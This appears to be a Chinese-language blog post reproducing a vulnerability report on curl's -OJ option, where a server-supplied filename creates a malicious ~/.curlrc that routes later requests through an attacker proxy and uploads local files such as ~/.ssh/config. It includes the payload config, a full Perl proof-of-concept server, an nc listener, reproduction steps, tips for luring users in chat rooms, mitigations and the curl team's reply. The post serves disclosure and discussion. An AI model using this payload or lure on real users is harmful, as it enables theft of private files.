curl -OJ漏洞:恶意.curlrc文件导致数据泄露风险

本文详细分析了curl工具中-J选项的安全隐患,攻击者可通过Content-Disposition头创建恶意.curlrc配置文件,从而窃取用户敏感文件数据,并提供了完整的复现步骤和修复建议。

curl -OJ允许创建自定义.curlrc文件导致数据泄露等风险

摘要

如果攻击者诱使用户在home目录执行curl -OJ http://example.com/somefile.txt命令,可利用Content-Disposition头创建.curlrc配置文件(当该文件不存在时)。此后,攻击者可控制所有curl调用的参数。

通过配置如下恶意.curlrc内容:

1
2
proxy = http://attacker-controlled-site.com
data = @/path/to/some/file

攻击者可读取用户有权访问的任何文件,因为所有curl请求都会将这些数据发送到指定代理。

受影响版本

git@16db059a93240dd7917728c2db55935f60a150ea

1
2
3
4
curl 8.14.0-DEV (x86_64-pc-linux-gnu) libcurl/8.14.0-DEV OpenSSL/3.0.2 zlib/1.2.11 libpsl/0.21.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets

复现步骤

前提条件:不存在~/.curlrc文件,且在home目录运行curl

  1. 在一个终端运行Perl服务器,关键部分返回如下HTTP响应:
1
2
3
4
5
    HTTP/1.1 200 Ok
    Content-Disposition: filename=.curlrc

    proxy = http://localhost:5555
    data = @.ssh/config

完整Perl服务器代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
use strict;
use warnings;
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_RDWR);

my $server = IO::Socket->new(
  Domain    => AF_INET,
  Type      => SOCK_STREAM,
  Proto     => 'tcp',
  LocalHost => '0.0.0.0',
  LocalPort => 3333,
  ReusePort => 1,
  Listen => 5,
) || die "Can't open socket: $@";

print "Try http://127.0.0.1:3333\n\n";

while (1) {
  my $client = $server->accept();

  print "Got a client\n";

  # 读取请求并忽略
  my $data = "";
  $client->recv($data, 1024);

  print "Got a request: \n\n" . $data =~ s/^/  /gmr;

  $client->send("HTTP/1.1 200 OK\r\n");
  $client->send(<<~'EOF');
    Content-Disposition: filename=.curlrc

    proxy = http://localhost:5555
    data = @.ssh/config
    EOF

  $client->shutdown(SHUT_RDWR);

  print "Responded\n\n";
}
  1. 在另一个终端运行监听socket的程序(如bsd nc):
1
nc -klp 5555
  1. 在home目录运行第一个curl命令,通过写入.curlrc设置攻击:
1
curl -OJ localhost:3333
  1. 再次运行curl访问任何http URL:
1
curl google.com

…此时将看到.ssh/config文件被发送到nc代理

影响评估

虽然需要攻击者一定的技巧,但很容易造成严重危害。只需诱使用户执行curl -OJ http://example.com/some-thing.txt,之后用户可能自行运行curl命令,或者当用户说"这没用"时,攻击者可以发送"哦,我搞错了,我的意思是…“然后发送看似合理的内容。

在IRC等聊天室中诱使用户运行curl命令并不特别困难。

缓解措施

  • curl不应使用-J选项写入隐藏文件
  • 使用-J选项时curl应说明写入了什么文件名
  • -J选项的文档应提供更严厉的警告

开发团队回应

curl团队认为这不是安全问题,而是预期行为。如果能够诱使用户运行命令行,可以让他们做任何事情,这远非最严重的后果。典型用户有许多点文件可能被覆盖。

团队建议在公共场合讨论改进可能性,而不是在漏洞报告平台。同时指出curl是一个强大工具,有很多方式可能造成损害,在保护用户和保持工具实用性之间需要平衡。

后续讨论

报告者认为"运行这个随机命令行"和"查看这个curl命令的输出"存在重大区别。curl无处不在,许多人将其用作调试Web服务和API请求的工具,互联网上充满了使用curl -OJ下载文件的例子,可能用户并不知道-OJ的作用。

任何人都会对一个用于从远程网站获取数据的工具感到惊讶: essentially,任何网站都可以告诉它配置自身以发送用户的私有数据,而用户甚至不知道这正在发生,或者为系统上的其他程序创建自定义配置文件,而这些也不明显。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计